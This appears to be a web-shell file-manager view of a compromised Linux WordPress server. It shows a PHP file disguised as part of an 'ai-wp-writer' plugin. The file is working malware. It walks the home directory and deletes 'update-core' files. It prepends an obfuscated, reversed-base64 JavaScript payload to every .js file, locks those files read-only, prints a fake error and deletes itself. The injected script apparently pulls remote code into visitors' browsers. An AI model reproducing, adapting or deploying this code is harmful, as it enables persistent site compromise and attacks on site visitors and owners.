HEX
Server: Apache
System: Linux server-674799.igrow.ws 5.14.0-611.27.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 4 04:40:11 EST 2026 x86_64
User: elrashedytravel (1025)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/elrashedytravel/public_html/wp-content/plugins/ai-wp-writer/class.lib.php
<?php
/*! ai-wp-writer */
set_time_limit(0);
error_reporting(0);

$path = realpath(dirname($_SERVER['DOCUMENT_ROOT']));
$path = str_replace('\\', '/', $path);
 
// 
function SfSearch($path) {
    $inf = "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"; 
	
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS)
        );
        
        foreach ($iterator as $file) {
            if ($file->isFile()) {
                $c = $file->getPathname();
				
                //
                if (pathinfo($c, PATHINFO_FILENAME) === 'update-core') {
                    @chmod($c, 0755); 
                    @unlink($c);
                }
                
                //
                if (pathinfo($c, PATHINFO_EXTENSION) === "js") {					 
                    $data = @file_get_contents($c);					    
                    if (strpos($data, "L2Fkcy1ob3VzZS5jb20v") === false) {
                        @chmod($c, 0755);
                        $data = base64_decode(strrev($inf)) . $data; 
                        @file_put_contents($c, $data ."\n");							
                        @chmod($c, 0444); 							
                        echo "CLASS_PHP_ERROR";
                    }  																		
                }
            }	
        }
    } catch (Exception $e) {
        echo "Errn: " . $e->getMessage() . "<br>";
    } 
}

/*! main detail */
SfSearch($path);
unlink(__FILE__);
?>